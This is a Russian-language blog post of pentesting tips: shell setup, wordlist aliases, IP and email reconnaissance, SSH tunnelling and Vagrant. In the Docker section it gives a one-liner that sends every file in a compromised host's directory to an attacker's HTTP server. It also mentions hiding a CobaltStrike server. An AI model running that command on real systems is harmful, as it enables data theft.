Pentest трюки, которые упростят Вам жизнь
Debian-LabВ этой статье я лично задокументирую для Вас несколько небольших техник, команд и мелочей, которые точно облегчат Вашу повседневную жизнь в качестве пентестера, и которые просто сделают Ваше времяпровождение во время пентестера более приятным!
ZSH vs Bash, Aliases, Docker
ZSH
Одной из вещей, которая серьезно повлияла лично на мою продуктивность была ZSH, а точнее, такие плагины, как "Z".
ZSH в сочетании с oh-my-zsh и включенным завершением smart tab делает навигацию по каталогам в вашем терминале намного более приятной и быстрой.
С моими текущеми настройками, я могу просто написать cd d/p/ad
, нажать tab
, и команда автоматически будет превращена Documents/Pentest/AD/
. Это один из ZSH плагинов которые я использую - "Z"
.
"Z" проанализирует историю ваших каталогов и выяснит, в какие каталоги вы заходите чаще всего. После нескольких часов работы, набрав z pentest
вы попадете в свой каталог pentest, z someproject
приведет Вам туда куда Вам надо независимо от того, где вы находитесь.....
Это трудно объяснить, но это магия 🔮
Aliases
Чтобы улучшить Ваше времяпровождение в оболочке, в Вашем .zshrc
or .bashrc
(scum), Вы можете указать свой alias, alias установит имя команды на все, что вы захотите.
Например:
alias nmap="grc nmap"
GRC раскрашивает приложение cli, это сделает nmap очень красивым и сделает ответы читабельней! Разве это не магия?)
Если вы дружите с оболочкой Linux, вы также знаете, что вы можете установить переменные используяEXPORT
.
gobuster -w $BIG -u https://10.10.10.145/
export DIRS_LARGE=/pentest/seclists/Discovery/Web-Content/raft-large-directories.txt export DIRS_SMALL=/pentest/seclists/Discovery/Web-Content/raft-small-directories.txt export FILES_LARGE=/pentest/seclists/Discovery/Web-Content/raft-large-files.txt export FILES_SMALL=/pentest/seclists/Discovery/Web-Content/raft-small-files.txt export BIG=/pentest/seclists/Discovery/Web-Content/big.txt
Установка этих каталогов позволит Вам получить к ним доступ, используя их псевдоним, например, в приведенном выше примере, где мы используем gobuster с $BIG, к использованию их полного пути. Это небольшой но хороший совет, так как он не только превращает длинную команду в одну строку, но и означает, что вам больше не нужно запоминать и вводить весь путь списка слов каждый раз, когда вам нужно - что, поверьте мне, может очень увеличить Вашу работоспособность, если вы регулярно перечисляете HTTP.
Docker:
Один из моих любымых трюков для Докера это:
alias postfiledumphere='docker run --rm -it -p80:3000 -v "${PWD}:/data" rflathers/postfiledump'
Выполните эту команду и разместите дамп файла, а затем на вашей целевой машине (в hack the box или remote reverse shell) выполните следующее:
ls | xargs -I{} wget http://10.10.14.3/{} --post-file {}
Это приведет к перебору всех файлов в локальном каталоге и передаче их по протоколу HTTP. Это чрезвычайно полезно, если вы находитесь во встроенном устройстве или даже в заблокированном контейнере. Если у вас нет wget, вы можете использовать curl (который по дефолту есть в большинстве устройств).
Situational Awareness with IP’s
Если вам дали IP-адрес, и вам нужно узнать информацию об уязвимостях на нем, Вы с помощбю нижеприведенных команд, можете получить довольно хорошее представление о типе хоста, где он находится и что он делает.
IPInfo
Обычно, если мне дают IP-адрес, я делаю поиск с помощью ipinfo:
curl ipinfo.io/54.90.107.240 { "ip": "54.90.107.240", "hostname": "ec2-54-90-107-240.compute-1.amazonaws.com", "city": "Virginia Beach", "region": "Virginia", "country": "US", "loc": "36.8512,-76.1692", "org": "AS14618 Amazon.com, Inc.", "postal": "23465", "readme": "https://ipinfo.io/missingauth" }
IP Info вернет JSON с подробной информацией обо всем хосте, самое замечательное в этом то, что вы можете легко написать его по конвейеру в jquery.
Я склонен злоупотреблять bash для циклов такого рода, напримерен, если у Вас есть, большой список IP-адресов то вот, что Вы можете сделать:
for ip in $(cat ips.txt); do echo -n "$ip: "; curl -s ipinfo.io/$ip | jq .org; done 54.90.107.240: "AS14618 Amazon.com, Inc." 54.90.107.120: "AS14618 Amazon.com, Inc." 54.90.107.241: "AS14618 Amazon.com, Inc." 54.90.107.242: "AS14618 Amazon.com, Inc." 54.90.107.243: "AS14618 Amazon.com, Inc."
Shodan
Вы, наверное, знаете о Шодане, но я просто обязан был упомянуть о нем для тех, кто еще не знает, так как это очень ценный инструмент.
Шодан постоянно сканирует все хосты в интернете. Это означает, что вы можете выполнить поиск хоста и посмотреть, что у него есть на данный хост.
shodan host 216.58.210.206 216.58.210.206 Hostnames: mrs04s09-in-f206.1e100.net;lhr48s11-in-f14.1e100.net City: Mountain View Country: United States Organization: Google Updated: 2019-08-17T19:28:38.408716 Number of open ports: 2 Ports: 80/tcp 443/tcp |-- SSL Versions: TLSv1, TLSv1.1, TLSv1.2, TLSv1.3
Email Recon
Небольшая хитрость, которая очень быстро выполнит проверку адреса электронной почты с помощью Email Recon:
curl emailrep.io/john.smith@gmail.com { "email": "john.smith@gmail.com", "reputation": "high", "suspicious": false, "references": 91, "details": { "blacklisted": false, "malicious_activity": false, "malicious_activity_recent": false, "credentials_leaked": true, "credentials_leaked_recent": false, "data_breach": true, "last_seen": "07/27/2019", "domain_exists": true, "domain_reputation": "n/a", "new_domain": false, "days_since_domain_creation": 8773, "suspicious_tld": false, "spam": false, "free_provider": true, "disposable": false, "deliverable": true, "accept_all": false, "valid_mx": true, "spoofable": true, "spf_strict": true, "dmarc_enforced": false, "profiles": [ "lastfm", "pinterest", "foursquare", "aboutme", "spotify", "twitter", "vimeo" ] } }
SSH Tunelling
Если Вы когда-либо выставляли порт сервера команды CobaltStrike извне и рассказывали об этом людям, вы получите много ненависти. Каково же решение? SSH - туннелирование.
Если у вас есть SSH-доступ к хосту, вы можете туннелировать порты (сопоставлять удаленные порты с локальными), динамически создавать SOCKS-прокси и многое другое.
Mapping remote port to local port
ssh -L localport:127.0.0.1:remoteport user@host
Хороший повод, чтобы подумать о синтаксисе SSH-туннелей и наконец-то разделить его на две части
ssh -L 127.0.0.1:8080:127.0.0.1:80 user@host
Это откроет локальный порт 8080, сопоставленный с портом 80 на удаленном сервере. К счастью для нас, SSH добр, поэтому сделаем вывод, что первый хост является локальным.
Opening a SOCKS proxy that routes from your server
SSH -D 8080 user@host
Данная команда откроет SOCKS-прокси на локальном порту 8080, вы можете изменить свой proxychains.conf, чтобы принять этот порт, а затем использовать proxychains перед каждой командой для маршрутизации трафика через данный хост.
Vagrant
Это классный маленький трюк, которому я научился, но сильно облегчил мне жизнь.
Как и Docker, vagrant может запускать экземпляры операционных систем и помещать вас в интерактивную оболочку.
Мой любимый - использование Ubuntu:
vagrant init hashicorp/precise32 vagrant up vagrant ssh cd /vagrant/
Вы будете перемещены в точную оболочку Ubuntu!
Подведя итоги
В заключение скажу, что трюки которые мы сегодня разобрали, действительно могут облегчить Вашу жизнь в качестве пентестера.
⏳ Наш основной канал - @debian_lab